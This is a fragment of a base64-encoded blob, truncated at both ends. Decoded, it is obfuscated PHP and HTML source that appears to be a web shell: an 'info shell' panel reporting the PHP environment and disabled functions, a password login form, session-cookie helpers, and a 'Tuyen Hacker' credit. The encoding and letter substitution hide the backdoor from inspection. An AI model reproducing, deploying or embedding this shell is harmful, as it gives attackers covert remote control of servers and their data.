fczR6NScsZzV0Y2ZnKCdwMnN0X20xeF9zNHo1JykpLA0KCQlhNiA9PiAxcnIxeSgnM3BsMjFkX20xeF9mNGw1czR6NScsJDNwczR6NSksDQoJCWFhID0+IDFycjF5KCdtMXhfNXg1YzN0NDJuX3Q0bTUnLGc1dGNmZygnbTF4XzV4NWMzdDQybl90NG01JykuJyBzNWMybmQocyknKSwNCgkJYW8gPT4gMXJyMXkoJ2Q0czFibDVfZjNuY3Q0Mm5zJywkZDRzX2YzbmMpLA0KCSk7DQoNCgk0ZigkcGhwdjFybjFtNSkgew0KCQltKCRwaHB2MXJuMW01IC4nIDogJy5nNXRjZmcoJHBocHYxcm4xbTUpKTsNCgl9DQoNCglmMnJtaDUxZCgxcnIxeSgndDR0bDUnPT4nUzVydjVyIDVudjRyMm5tNW50JykpOw0KCW0xazVoNGQ1KCcxY3Q0Mm4nLCdwaHA1bnYnKTsNCgltMWs1NG5wM3QoMXJyMXkoJ3Q0dGw1Jz0+J1BsNTFzNSA0bnAzdCBQSFAgYzJuZjRnM3IxdDQybiBwMXIxbTV0NXIoNWc6bTFnNGNfcTMydDVzX2dwYyknLCduMW01Jz0+J3BocHYxcm4xbTUnLCd2MWwzNSc9PiRwaHB2MXJuMW01LCduNXdsNG41Jz0+NikpOw0KCWYycm1mMjJ0NXIoKTsNCg0KCSRocCA9IDFycjF5KDA9PiAnUzVydjVyJywgNj0+ICdQSFAnKTsNCglmMnIoJDE9MDskMTxhOyQxKyspIHsNCgkJcCgnPGhhPicuJGhwWyQxXS4nICZyMXEzMjs8L2hhPicpOw0KCQlwKCc8M2wgY2wxc3M9IjRuZjIiPicpOw0KCQk0ZiAoJDE9PTApIHsNCgkJCWYycigkND02OyQ0PD05OyQ0KyspIHsNCgkJCQlwKCc8bDQ+PDM+Jy4kNG5mMlskNF1bMF0uJzo8LzM+Jy4kNG5mMlskNF1bNl0uJzwvbDQ+Jyk7DQoJCQl9DQoJCX0gNWxzNTRmICgkMSA9PSA2KSB7DQoJCQlmMnIoJDQ9NjA7JDQ8PWFvOyQ0KyspIHsNCgkJCQlwKCc8bDQ+PDM+Jy4kNG5mMlskNF1bMF0uJzo8LzM+Jy4kNG5mMlskNF1bNl0uJzwvbDQ+Jyk7DQoJCQl9DQoJCX0NCgkJcCgnPC8zbD4nKTsNCgl9DQp9Ly81bmQgcGhwNW52DQoNCjVsczUgew0KCW0oJ1VuZDVmNG41ZCBBY3Q0Mm4nKTsNCn0NCg0KPz4NCg0KPC90ZD48L3RyPjwvdDFibDU+DQo8ZDR2IHN0eWw1PSJwMWRkNG5nOjYwcHg7YjJyZDVyLWIydHQybTo2cHggczJsNGQgIzBFMEUwRTtiMnJkNXItdDJwOjZweCBzMmw0ZCAjMEUwRTBFO2IxY2tncjIzbmQ6IzBFMEUwRTsiPg0KCTxzcDFuIHN0eWw1PSJmbDIxdDpyNGdodDsiPjw/cGhwIGQ1YjNnNG5mMigpOzJiXzVuZF9mbDNzaCgpOz8+PC9zcDFuPg0KCUMycHlyNGdodCAoQykgYTA2Ni1hMDZhIDxCPjwvQj4gLSBENXY1bDJwIGJ5IDwxIGhyNWY9aHR0cDovL2YxYzViMjJrLmMybS90M3k1bjY5OTcgdDFyZzV0PV9ibDFuaz48Qj5UM3kmIzc4N2k7biBIMWNrNXIgICA8L0I+PC8xPiAtIDxCPi0gVjQ1dG4xbTVzNS0gRkI6IGZiLmMybS90M3k1bjY5OTc8L0I+IEFsbCBSNGdodHMgUjVzNXJ2NWQuDQo8L2Q0dj4NCjwvYjJkeT4NCjwvbjJzY3I0cHQ+DQoNCjw/cGhwDQoNCi8qPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQpTaDJ3IDRuZjIgc2g1bGwNCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PSovDQoNCmYzbmN0NDJuIG0oJG1zZykgew0KCTVjaDIgJzxkNHYgc3R5bDU9ImIxY2tncjIzbmQ6I2Y2ZjZmNjtiMnJkNXI6NnB4IHMybDRkICNkZGQ7cDFkZDRuZzo2aXB4O2YybnQ6NnVweDt0NXh0LTFsNGduOmM1bnQ1cjtmMm50LXc1NGdodDpiMmxkOyI+JzsNCgk1Y2gyICRtc2c7DQoJNWNoMiAnPC9kNHY+JzsNCn0NCmYzbmN0NDJuIHNjMjJrNDUoJGs1eSwgJHYxbDM1LCAkbDRmNSA9IDAsICRwcjVmNHggPSA2KSB7DQoJZ2wyYjFsICQxZG00biwgJHQ0bTVzdDFtcCwgJF9TRVJWRVI7DQoJJGs1eSA9ICgkcHI1ZjR4ID8gJDFkbTRuWydjMjJrNDVwcjUnXSA6ICcnKS4kazV5Ow0KCSRsNGY1ID0gJGw0ZjUgPyAkbDRmNSA6ICQxZG00blsnYzIyazQ1bDRmNSddOw0KCSQzczVwMnJ0ID0gJF9TRVJWRVJbJ1NFUlZFUl9QT1JUJ10gPT0gdXVvID8gNiA6IDA7DQoJczV0YzIyazQ1KCRrNXksICR2MWwzNSwgJHQ0bTVzdDFtcCskbDRmNSwgJDFkbTRuWydjMjJrNDVwMXRoJ10sICQxZG00blsnYzIyazQ1ZDJtMTRuJ10sICQzczVwMnJ0KTsNCn0NCmYzbmN0NDJuIG0zbHQ0KCRuM20sICRwNXJwMWc1LCAkYzNycDFnNSwgJHQxYmw1bjFtNSkgew0KCSRtM2x0NHAxZzUgPSAnJzsNCgk0ZigkbjNtID4gJHA1cnAxZzUpIHsNCgkJJHAxZzUgPSA2MDsNCgkJJDJmZnM1dCA9IGk7DQoJCSRwMWc1cyA9IEBjNTRsKCRuM20gLyAkcDVycDFnNSk7DQoJCTRmKCRwMWc1ID4gJHAxZzVzKSB7DQoJCQkkZnIybSA9IDY7DQoJCQkkdDIgPSAkcDFnNXM7DQoJCX0gNWxzNSB7DQoJCQkkZnIybSA9ICRjM3JwMWc1IC0gJDJmZnM1dDsNCgkJCSR0MiA9ICRjM3JwMWc1ICsgJHAxZzUgLSAkMmZmczV0IC0gNjsNCgkJCTRmKCRmcjJtIDwgNikgew0KCQkJCSR0MiA9ICRjM3JwMWc1ICsgNiAtICRmcjJtOw0KCQkJCSRmcjJtID0gNjsNCgkJCQk0ZigoJHQyIC0gJGZyMm0pIDwgJHAxZzUgJiYgKCR0MiAtICRmcjJtKSA8ICRwMWc1cykgew0KCQkJCQkkdDIgPSAkcDFnNTsNCgkJCQl9DQoJCQl9IDVsczU0ZigkdDIgPiAkcDFnNXMpIHsNCgkJCQkkZnIybSA9ICRjM3JwMWc1IC0gJHAxZzVzICsgJHQyOw0KCQkJCSR0MiA9ICRwMWc1czsNCgkJCQk0ZigoJHQyIC0gJGZyMm0pIDwgJHAxZzUgJiYgKCR0MiAtICRmcjJtKSA8ICRwMWc1cykgew0KCQkJCQkkZnIybSA9ICRwMWc1cyAtICRwMWc1ICsgNjsNCgkJCQl9DQoJCQl9DQoJCX0NCgkJJG0zbHQ0cDFnNSA9ICgkYzNycDFnNSAtICQyZmZzNXQgPiA2ICYmICRwMWc1cyA+ICRwMWc1ID8gJzwxIGhyNWY9ImoxdjFzY3I0cHQ6czV0dDFibDUoXCcnLiR0MWJsNW4xbTUuJ1wnLCBcJ1wnLCA2KTsiPkY0cnN0PC8xPiAnIDogJycpLigkYzNycDFnNSA+IDYgPyAnPDEgaHI1Zj0iajF2MXNjcjRwdDpzNXR0MWJsNShcJycuJHQxYmw1bjFtNS4nXCcsIFwnXCcsICcuKCRjM3JwMWc1IC0gNikuJyk7Ij5QcjV2PC8xPiAnIDogJycpOw0KCQlmMnIoJDQgPSAkZnIybTsgJDQgPD0gJHQyOyAkNCsrKSB7DQoJCQkkbTNsdDRwMWc1IC49ICQ0ID09ICRjM3JwMWc1ID8gJDQuJyAnIDogJzwxIGhyNWY9ImoxdjFzY3I0cHQ6czV0dDFibDUoXCcnLiR0MWJsNW4xbTUuJ1wnLCBcJ1wnLCAnLiQ0LicpOyI+WycuJDQuJ108LzE+ICc7DQoJCX0NCgkJJG0zbHQ0cDFnNSAuPSAoJGMzcnAxZzUgPCAkcDFnNXMgPyAnPDEgaHI1Zj0iajF2MXNjcjRwdDpzNXR0MWJsNShcJycuJHQxYmw1bjFtNS4nXCcsIFwnXCcsICcuKCRjM3JwMWc1ICsgNikuJyk7Ij5ONXh0PC8xPicgOiAnJykuKCR0MiA8ICRwMWc1cyA/ICcgPDEgaHI1Zj0iajF2MXNjcjRwdDpzNXR0MWJsNShcJycuJHQxYmw1bjFtNS4nXCcsIFwnXCcsICcuJHAxZzVzLicpOyI+TDFzdDwvMT4nIDogJycpOw0KCQkkbTNsdDRwMWc1ID0gJG0zbHQ0cDFnNSA/ICc8cD5QMWc1czogJy4kbTNsdDRwMWc1Lic8L3A+JyA6ICcnOw0KCX0NCglyNXQzcm4gJG0zbHQ0cDFnNTsNCn0NCi8vIEwyZzRuIHAxZzUNCmYzbmN0NDJuIGwyZzRucDFnNSgpIHsNCj8+DQoNCjxodG1sPg0KPGg1MWQ+DQoNCjxiMmR5IGJnYzJsMnI9YmwxY2sgYjFja2dyMjNuZD1odHRwOi8vYzFuaHQ0dDJuc2FiNWIzMm5nLjVzeS41cy9tMXRyNHguZzRmPg0KDQoJCTxtNXQxIGh0dHAtNXEzNHY9IkMybnQ1bnQtVHlwNSIgYzJudDVudD0idDV4dC9odG1sOyBjaDFyczV0PVVURi04IiAvPg0KPHQ0dGw1Pi46OlsgVDN5NW4gSDFjazVyIF06Oi4gPC90NHRsNT4NCjxzdHlsNSB0eXA1PSJ0NXh0L2NzcyI+DQpBOmw0bmsge3Q1eHQtZDVjMnIxdDQybjogbjJuNTsgYzJsMnI6IGdyNTVuIH0NCkE6djRzNHQ1ZCB7dDV4dC1kNWMycjF0NDJuOiBuMm41O2MybDJyOnI1ZH0NCkE6MWN0NHY1IHt0NXh0LWQ1YzJyMXQ0Mm46IG4ybjV9DQpBOmgydjVyIHt0NXh0LWQ1YzJyMXQ0Mm46IDNuZDVybDRuNTsgYzJsMnI6IGdyNTVuO30NCjRucDN0LCB0NXh0MXI1MSwgYjN0dDJuDQp7DQoJZjJudC1zNHo1OiA2NnB0Ow0KCWMybDJyOiAJI0ZGRkZGRjsNCglmMm50LWYxbTRseTogdjVyZDFuMSwgczFucy1zNXI0ZjsNCgliMWNrZ3IyM25kLWMybDJyOiAjMDAwMDAwOw0KCWIycmQ1ci1sNWZ0OiBhcHggZDFzaDVkICM4QjAwMDA7DQoJYjJyZDVyLXQycDogYXB4IGQxc2g1ZCAjOEIwMDAwOw0KCWIycmQ1ci1yNGdodDogYXB4IGQxc2g1ZCAjOEIwMDAwOw0KCWIycmQ1ci1iMnR0Mm06IGFweCBkMXNoNWQgIzhCMDAwMDsNCn0NCg0KPC9zdHlsNT4NCg0KICAgICAgIDxCUj48QlI+DQo8ZDR2IDFsNGduPWM1bnQ1ciA+DQoNCjxkNHY+DQoNCjxmMm50IGMybDJyPWdyMXk+DQo8YnIgLz48YnIgLz48YnIgLz48YnIgLz48YnIgLz4NCg0KPGYycm0gbTV0aDJkPSJQT1NUIiAxY3Q0Mm49IiI+DQoJPHNwMW4gc3R5bDU9ImYybnQ6YTBwdCB0MWgybTE7Ij4gPC9zcDFuPjw0bnAzdCBuMW01PSJwMXNzdzJyZCIgdHlwNT0icDFzc3cycmQiIHM0ejU9Im8wIj4NCgk8NG5wM3QgdHlwNT0iaDRkZDVuIiBuMW01PSJkMjRuZyIgdjFsMzU9ImwyZzRuIj4NCgk8NG5wM3QgdHlwNT0iczNibTR0IiB2MWwzNT0iTDJnNG4iPg0KCTwvZjJybT4NCjxCUj4NCjw/cGhwDQo1Y2gyICIiLiQ1cnJfbTVzcy4iIjsNCj8+DQoNCgk8Qj48ZjJudCBjMmwycj1yNWQ+DQoNCg0KDQoNCg0KDQo8L2Q0dj4NCg0KDQoJPC9mNDVsZHM1dD4NCg0KDQoNCg0KDQoNCg0KDQoNCjxzY3I0cHQgbDFuZzMxZzU9IkoxdjFzY3I0cHQiPg0KPCEtLSBCNWc0bg0KZjNuY3Q0Mm4gZDRzMWJsNXM1bDVjdCg1KXsNCnI1dDNybiBmMWxzNQ0KfQ0KZjNuY3Q0Mm4gcjVFbjFibDUoKXsNCnI1dDNybiB0cjM1DQp9DQpkMmMzbTVudC4ybnM1bDVjdHN0MXJ0PW41dyBGM25jdDQybiAoInI1dDNybiBmMWxzNSIpDQo0ZiAodzRuZDJ3LnM0ZDViMXIpew0KZDJjM201bnQuMm5tMjNzNWQyd249ZDRzMWJsNXM1bDVjdA0KZDJjM201bnQuMm5jbDRjaz1yNUVuMWJsNQ0KfQ0KLy8gRW5kIC0tPg0KPC9zY3I0cHQ+DQo8IS0tIG4yIHR4dCBmNG4gLS0+DQoNCjxzdHlsNSB0eXA1PSJ0NXh0L2NzcyI+Qk9EWSB7DQogIFNDUk9MTEJBUi1GQUNFLUNPTE9SOiAjMDAwMDAwOyBTQ1JPTExCQVItSElHSExJR0hULUNPTE9SOiAjMDAwMDAwOyBTQ1JPTExCQVItU0hBRE9XLUNPTE9SOiAjMDAwMDAwOyBTQ1JPTExCQVItb0RMSUdIVC1DT0xPUjogIzAwMDAwMDsgU0NST0xMQkFSLUFSUk9XLUNPTE9SOiAjZmZmZmZmOyBTQ1JPTExCQVItVFJBQ0stQ09MT1I6ICNmZmZmZmY7IEZPTlQtRkFNSUxZOiBWNXJkMW4xOyBTQ1JPTExCQVItREFSS1NIQURPVy1DT0xPUjogIzAwMDAwMA0KfQ0KLkVzdDRsMjYwIHsNCiAgQ09MT1I6ICNmZmZmZmY7IEZPTlQtRkFNSUxZOiBIMTV0dDVuc2NodzU0bDVyDQp9DQouRXN0NGwyOCB7DQogIEZPTlQtU0laRTogNjBweDsgQ09MT1I6ICNmZmZmZmY7IEZPTlQtRkFNSUxZOiBIMTV0dDVuc2NodzU0bDVyDQp9DQoNCjwvc3R5bDU+ICANCg0KDQogIA0KDQo8YzVudDVyPg0KDQogIA0KDQoNCg0KPHNjcjRwdCBsMW5nMzFnNT0iSjF2MVNjcjRwdCI+DQoNCg0KVHlwNG5nVDV4dCA9IGYzbmN0NDJuKDVsNW01bnQsIDRudDVydjFsLCBjM3JzMnIsIGY0bjRzaDVkQzFsbGIxY2spIHsNCiAgNGYoKHR5cDUyZiBkMmMzbTVudC5nNXRFbDVtNW50QnlJZCA9PSAiM25kNWY0bjVkIikgfHwgKHR5cDUyZiA1bDVtNW50LjRubjVySFRNTCA9PSAiM25kNWY0bjVkIikpIHsNCiAgICB0aDRzLnIzbm40bmcgPSB0cjM1OyAgLy8gTjV2NXIgcjNuLg0KICAgIHI1dDNybjsNCiAgfQ0KICB0aDRzLjVsNW01bnQgPSA1bDVtNW50Ow0KICB0aDRzLmY0bjRzaDVkQzFsbGIxY2sgPSAoZjRuNHNoNWRDMWxsYjFjayA/IGY0bjRzaDVkQzFsbGIxY2sgOiBmM25jdDQybigpIHsgcjV0M3JuOyB9KTsNCiAgdGg0cy40bnQ1cnYxbCA9ICh0eXA1MmYgNG50NXJ2MWwgPT0gIjNuZDVmNG41ZCIgPyBhMCA6IDRudDVydjFsKTsNCiAgdGg0cy4ycjRnVDV4dCA9IHRoNHMuNWw1bTVudC40bm41ckhUTUw7DQogIHRoNHMuM25wMXJzNWRPcjRnVDV4dCA9IHRoNHMuMnI0Z1Q1eHQ7DQogIHRoNHMuYzNyczJyID0gKGMzcnMyciA/IGMzcnMyciA6ICIiKTsNCiAgdGg0cy5jM3JyNW50VDV4dCA9ICIiOw0KICB0aDRzLmMzcnI1bnRDaDFyID0gMDsNCiAgdGg0cy41bDVtNW50LnR5cDRuZ1Q1eHQgPSB0aDRzOw0KICA0Zih0aDRzLjVsNW01bnQuNGQgPT0gIiIpIHRoNHMuNWw1bTVudC40ZCA9ICJ0eXA0bmd0NXh0IiArIFR5cDRuZ1Q1eHQuYzNycjVudEluZDV4Kys7DQogIFR5cDRuZ1Q1eHQuMWxsLnAzc2godGg0cyk7DQogIHRoNHMucjNubjRuZyA9IGYxbHM1Ow0KICB0aDRzLjRuVDFnID0gZjFsczU7DQogIHRoNHMudDFnQjNmZjVyID0gIiI7DQogIHRoNHMuNG5IVE1MRW50NHR5ID0gZjFsczU7DQogIHRoNHMuSFRNTEVudDR0eUIzZmY1ciA9ICIiOw0KfQ0KVHlwNG5nVDV4dC4xbGwgPSBuNXcgQXJyMXkoKTsNClR5cDRuZ1Q1eHQuYzNycjVudEluZDV4ID0gMDsNClR5cDRuZ1Q1eHQucjNuQWxsID0gZjNuY3Q0Mm4oKSB7DQogIGYycih2MXIgNCA9IDA7IDQgPCBUeXA0bmdUNXh0LjFsbC5sNW5ndGg7IDQrKykgVHlwNG5nVDV4dC4xbGxbNF0ucjNuKCk7DQp9DQpUeXA0bmdUNXh0LnByMnQydHlwNS5yM24gPSBmM25jdDQybigpIHsNCiAgNGYodGg0cy5yM25uNG5nKSByNXQzcm47DQogIDRmKHR5cDUyZiB0aDRzLjJyNGdUNXh0ID09ICIzbmQ1ZjRuNWQiKSB7DQogICAgczV0VDRtNTIzdCgiZDJjM201bnQuZzV0RWw1bTVudEJ5SWQoJyIgKyB0aDRzLjVsNW01bnQuNGQgKyAiJykudHlwNG5nVDV4dC5yM24oKSIsIHRoNHMuNG50NXJ2MWwpOyAgLy8gVzUgaDF2NW4ndCBmNG40c2g1ZCBsMjFkNG5nIHk1dC4gIEgxdjUgcDF0NDVuYzUuDQogICAgcjV0M3JuOw0KICB9DQogIDRmKHRoNHMuYzNycjVudFQ1eHQgPT0gIiIpIHRoNHMuNWw1bTVudC40bm41ckhUTUwgPSAiIjsNCi8vICB0aDRzLjJyNGdUNXh0ID0gdGg0cy4ycjRnVDV4dC5yNXBsMWM1KC88KFtePF0pKj4vLCAiIik7ICAgICAvLyBTdHI0cCBIVE1MIGZyMm0gdDV4dC4NCiAgNGYodGg0cy5jM3JyNW50Q2gxciA8IHRoNHMuMnI0Z1Q1eHQubDVuZ3RoKSB7DQogICAgNGYodGg0cy4ycjRnVDV4dC5jaDFyQXQodGg0cy5jM3JyNW50Q2gxcikgPT0gIjwiICYmICF0aDRzLjRuVDFnKSB7DQogICAgICB0aDRzLnQxZ0IzZmY1ciA9ICI8IjsNCiAgICAgIHRoNHMuNG5UMWcgPSB0cjM1Ow0KICAgICAgdGg0cy5jM3JyNW50Q2gxcisrOw0KICAgICAgdGg0cy5yM24oKTsNCiAgICAgIHI1dDNybjsNCiAgICB9IDVsczUgNGYodGg0cy4ycjRnVDV4dC5jaDFyQXQodGg0cy5jM3JyNW50Q2gxcikgPT0gIj4iICYmIHRoNHMuNG5UMWcpIHsNCiAgICAgIHRoNHMudDFnQjNmZjVyICs9ICI+IjsNCiAgICAgIHRoNHMuNG5UMWcgPSBmMWxzNTsNCiAgICAgIHRoNHMuYzNycjVudFQ1eHQgKz0gdGg0cy50MWdCM2ZmNXI7DQogICAgICB0aDRzLmMzcnI1bnRDaDFyKys7DQogICAgICB0aDRzLnIzbigpOw0KICAgICAgcjV0M3JuOw0KICAgIH0gNWxzNSA0Zih0aDRzLjRuVDFnKSB7DQogICAgICB0aDRzLnQxZ0IzZmY1ciArPSB0aDRzLjJyNGdUNXh0LmNoMXJBdCh0aDRzLmMzcnI1bnRDaDFyKTsNCiAgICAgIHRoNHMuYzNycjVudENoMXIrKzsNCiAgICAgIHRoNHMucjNuKCk7DQogICAgICByNXQzcm47DQogICAgfSA1bHM1IDRmKHRoNHMuMnI0Z1Q1eHQuY2gxckF0KHRoNHMuYzNycjVudENoMXIpID09ICImIiAmJiAhdGg0cy40bkhUTUxFbnQ0dHkpIHsNCiAgICAgIHRoNHMuSFRNTEVudDR0eUIzZmY1ciA9ICImIjsNCiAgICAgIHRoNHMuNG5IVE1MRW50NHR5ID0gdHIzNTsNCiAgICAgIHRoNHMuYzNycjVudENoMXIrKzsNCiAgICAgIHRoNHMucjNuKCk7DQogICAgICByNXQzcm47DQogICAgfSA1bHM1IDRmKHRoNHMuMnI0Z1Q1eHQuY2gxckF0KHRoNHMuYzNycjVudENoMXIpID09ICI7IiAmJiB0aDRzLjRuSFRNTEVudDR0eSkgew0KICAgICAgdGg0cy5IVE1MRW50NHR5QjNmZjVyICs9ICI7IjsNCiAgICAgIHRoNHMuNG5IVE1MRW50NHR5ID0gZjFsczU7DQogICAgICB0aDRzLmMzcnI1bnRUNXh0ICs9IHRoNHMuSFRNTEVudDR0eUIzZmY1cjsNCiAgICAgIHRoNHMuYzNycjVudENoMXIrKzsNCiAgICAgIHRoNHMucjNuKCk7DQogICAgICByNXQzcm47DQogICAgfSA1bHM1IDRmKHRoNHMuNG5IVE1MRW50NHR5KSB7DQogICAgICB0aDRzLkhUTUxFbnQ0dHlCM2ZmNXIgKz0gdGg0cy4ycjRnVDV4dC5jaDFyQXQodGg0cy5jM3JyNW50Q2gxcik7DQogICAgICB0aDRzLmMzcnI1bnRDaDFyKys7DQogICAgICB0aDRzLnIzbigpOw0KICAgICAgcjV0M3JuOw0KICAgIH0gNWxzNSB7DQogICAgICB0aDRzLmMzcnI1bnRUNXh0ICs9IHRoNHMuMnI0Z1Q1eHQuY2gxckF0KHRoNHMuYzNycjVudENoMXIpOw0KICAgIH0NCiAgICB0aDRzLjVsNW01bnQuNG5uNXJIVE1MID0gdGg0cy5jM3JyNW50VDV4dDsNCiAgICB0aDRzLjVsNW01bnQuNG5uNXJIVE1MICs9ICh0aDRzLmMzcnI1bnRDaDFyIDwgdGg0cy4ycjRnVDV4dC5sNW5ndGggLSA2ID8gKHR5cDUyZiB0aDRzLmMzcnMyciA9PSAiZjNuY3Q0Mm4iID8gdGg0cy5jM3JzMnIodGg0cy5jM3JyNW50VDV4dCkgOiB0aDRzLmMzcnMycikgOiAiIik7DQogICAgdGg0cy5jM3JyNW50Q2gxcisrOw0KICAgIHM1dFQ0bTUyM3QoImQyYzNtNW50Lmc1dEVsNW01bnRCeUlkKCciICsgdGg0cy41bDVtNW50LjRkICsgIicpLnR5cDRuZ1Q1eHQucjNuKCkiLCB0aDRzLjRudDVydjFsKTsNCiAgfSA1bHM1IHsNCiAgdGg0cy5jM3JyNW50VDV4dCA9ICIiOw0KICB0aDRzLmMzcnI1bnRDaDFyID0gMDsNCiAgICAgICAgdGg0cy5yM25uNG5nID0gZjFsczU7DQogICAgICAgIHRoNHMuZjRuNHNoNWRDMWxsYjFjaygpOw0KICB9DQp9DQo8L3NjcjRwdD4NCjxjNW50NXI+PDRtZyBiMnJkNXI9IjAiIDFsNGduPWM1bnQ1ciBzcmM9Imh0dHA6Ly8zcDFuaC5iNHovNG0xZzVzL2EwNnUvMGEvNnUvMW4ybnltMjNzYnlkNTRieXliNDVkLWRpNmk1YnIuZzRmIiB3NGR0aD0iYTAwIiBoNTRnaHQ9ImEwMCI+PC9jNW50NXI+DQo8c3AxbiBjbDFzcz0xNjA+PDM4OnA+Jm5ic3A7PC8zODpwPjwvc3Axbj48L3A+DQo8YzVudDVyPg0KPGYybnQgZjFjNT0iQzIzcjQ1ciBONXciIHM0ejU9ImkuaSI+PGhvPg0KPHNjcjRwdD4NCg0KZjFyYmI0Ymw0MnRoNWsgPSBuNXcgQXJyMXkoKTsNCg0KZjFyYmI0Ymw0MnRoNWtbMF0gPSBuNXcgQXJyMXkoIiNGRjAwMDAiLCIjRkY2NjAwIiwiI0ZGYWEwMCIsIiNGRm9vMDAiLCIjRkZ1dTAwIiwiI0ZGaWkwMCIsIiNGRmVlMDAiLCIjRkY3NzAwIiwiI0ZGODgwMCIsIiNGRjk5MDAiLCIjRkYxMTAwIiwiI0ZGYmIwMCIsIiNGRmNjMDAiLCIjRkZkZDAwIiwiI0ZGNTUwMCIsIiNGRmZmMDAiLCIjRkY1NTAwIiwiI0ZGZGQwMCIsIiNGRmNjMDAiLCIjRkZiYjAwIiwiI0ZGMTEwMCIsIiNGRjk5MDAiLCIjRkY4ODAwIiwiI0ZGNzcwMCIsIiNGRmVlMDAiLCIjRkZpaTAwIiwiI0ZGdXUwMCIsIiNGRm9vMDAiLCIjRkZhYTAwIiwiI0ZGNjYwMCIpOw0KDQpmMXJiYjRibDQydGg1a1s2XSA9IG41dyBBcnIxeSgiIzAwRkYwMCIsImJsMWNrIiwiIzAwRkYwMCIsIiMwMEZGMDAiKTsNCg0KZjFyYmI0Ymw0MnRoNWtbYV0gPSBuNXcgQXJyMXkoIiMwMEZGMDAiLCIjRkYwMDAwIiwiIzAwRkYwMCIsIiMwMEZGMDAiLCIjMDBGRjAwIiwiIzAwRkYwMCIsIiMwMEZGMDAiLCIjMDBGRjAwIiwiIzAwRkYwMCIsIiMwMEZGMDAiLCIjMDBGRjAwIiwiIzAwRkYwMCIsIiMwMEZGMDAiLCIjMDBGRjAwIiwiIzAwRkYwMCIsIiMwMEZGMDAiLCIjMDBGRjAwIiwiIzAwRkYwMCIsIiMwMEZGMDAiLCIjMDBGRjAwIiwiIzAwRkYwMCIsIiMwMEZGMDAiLCIjMDBGRjAwIiwiIzAwRkYwMCIsIiMwMEZGMDAiLCIjMDBGRjAwIiwiIzAwRkYwMCIsIiMwMEZGMDAiLCIjMDBGRjAwIiwiIzAwRkYwMCIsIiMwMEZGMDAiLCIjMDBGRjAwIiwiIzAwRkYwMCIsIiMwMEZGMDAiLCIjMDBGRjAwIiwiIzAwRkYwMCIpOw0KDQpmMXJiYjRibDQydGg1a1tvXSA9IG41dyBBcnIxeSgiI0ZGMDAwMCIsIiNGRnUwMDAiLCIjRkY4MDAwIiwiI0ZGQzAwMCIsIiNGRkZGMDAiLCIjQzBGRjAwIiwiIzgwRkYwMCIsIiN1MEZGMDAiLCIjMDBGRjAwIiwiIzAwRkZ1MCIsIiMwMEZGODAiLCIjMDBGRkMwIiwiIzAwRkZGRiIsIiMwMEMwRkYiLCIjMDA4MEZGIiwiIzAwdTBGRiIsIiMwMDAwRkYiLCIjdTAwMEZGIiwiIzgwMDBGRiIsIiNDMDAwRkYiLCIjRkYwMEZGIiwiI0ZGMDBDMCIsIiNGRjAwODAiLCIjRkYwMHUwIik7DQoNCmYxcmJiNGJsNDJ0aDVrW3VdID0gbjV3IEFycjF5KCIjRkYwMDAwIiwiI0VFMDAwMCIsIiNERDAwMDAiLCIjQ0MwMDAwIiwiI0JCMDAwMCIsIiNBQTAwMDAiLCIjOTkwMDAwIiwiIzg4MDAwMCIsIiM3NzAwMDAiLCIjZWUwMDAwIiwiI2lpMDAwMCIsIiN1dTAwMDAiLCIjb28wMDAwIiwiI2FhMDAwMCIsIiM2NjAwMDAiLCJibDFjayIsIiM2NjAwMDAiLCIjYWEwMDAwIiwiI29vMDAwMCIsIiN1dTAwMDAiLCIjaWkwMDAwIiwiI2VlMDAwMCIsIiM3NzAwMDAiLCIjODgwMDAwIiwiIzk5MDAwMCIsIiNBQTAwMDAiLCIjQkIwMDAwIiwiI0NDMDAwMCIsIiNERDAwMDAiLCIjRUUwMDAwIik7DQoNCmYxcmJiNGJsNDJ0aDVrW2ldID0gbjV3IEFycjF5KCJibDFjayIsImJsMWNrIiwiYmwxY2siLCJ3aDR0NSIsIndoNHQ1Iiwid2g0dDUiKTsNCg0KZjFyYmI0Ymw0MnRoNWtbZV0gPSBuNXcgQXJyMXkoIiMwMDAwRkYiLCIjRkZGRjAwIik7DQoNCmYxcmI1biA9IGYxcmJiNGJsNDJ0aDVrW3VdOw0KDQpmM25jdDQybiBmMXJic2NocjRmdCgpDQoNCnsNCg0KZjJyKHYxciA0PTAgOyA0PEIzY2hzdDFiNS5sNW5ndGg7IDQrKykNCg0Kew0KDQpkMmMzbTVudC4xbGxbIjEiKzRdLnN0eWw1LmMybDJyPWYxcmI1bls0XTsNCg0KfQ0KDQpmMXJidjVybDEzZigpOw0KDQp9DQoNCmYzbmN0NDJuIHN0cjRuZ2ExcnIxeSh0NXh0KQ0KDQp7DQoNCkIzY2hzdDFiNSA9IG41dyBBcnIxeSgpOw0KDQp3aDRsNShmMXJiNW4ubDVuZ3RoPHQ1eHQubDVuZ3RoKQ0KDQp7DQoNCmYxcmI1biA9IGYxcmI1bi5jMm5jMXQoZjFyYjVuKTsNCg0KfQ0KDQprPTA7DQoNCndoNGw1KGs8PXQ1eHQubDVuZ3RoKQ0KDQp7DQoNCkIzY2hzdDFiNVtrXSA9IHQ1eHQuY2gxckF0KGspOw0KDQprKys7DQoNCn0NCg0KfQ0KDQpmM25jdDQybiBkNHZzNXJ6NTNnNW4oKQ0KDQp7DQoNCmYycih2MXIgND0wIDsgNDxCM2Noc3QxYjUubDVuZ3RoOyA0KyspDQoNCnsNCg0KZDJjM201bnQud3I0dDUoIjxzcDFuIDRkPScxIis0KyInIGNsMXNzPScxIis0KyInPiIrQjNjaHN0MWI1WzRdICsgIjwvc3Axbj4iKTsNCg0KfQ0KDQpmMXJic2NocjRmdCgpOw0KDQp9DQoNCnYxciAxPTY7DQoNCmYzbmN0NDJuIGYxcmJ2NXJsMTNmKCkNCg0Kew0KDQpmMnIodjFyIDQ9MCA7IDQ8ZjFyYjVuLmw1bmd0aDsgNCsrKQ0KDQp7DQoNCmYxcmI1bls0LTZdPWYxcmI1bls0XTsNCg0KfQ0KDQpmMXJiNW5bZjFyYjVuLmw1bmd0aC02XT1mMXJiNW5bLTZdOw0KDQoNCg0KczV0VDRtNTIzdCgiZjFyYnNjaHI0ZnQoKSIsbzApOw0KDQp9DQoNCi8vIFozIEQ1bTJuc3RyMXQ0Mm5zenc1Y2s1bioqDQoNCnYxciBmMXJiczF0ej02Ow0KDQpmM25jdDQybiBmMXJidDEzc2NoNXIoKQ0KDQp7DQoNCmYxcmI1biA9IGYxcmJiNGJsNDJ0aDVrW2Y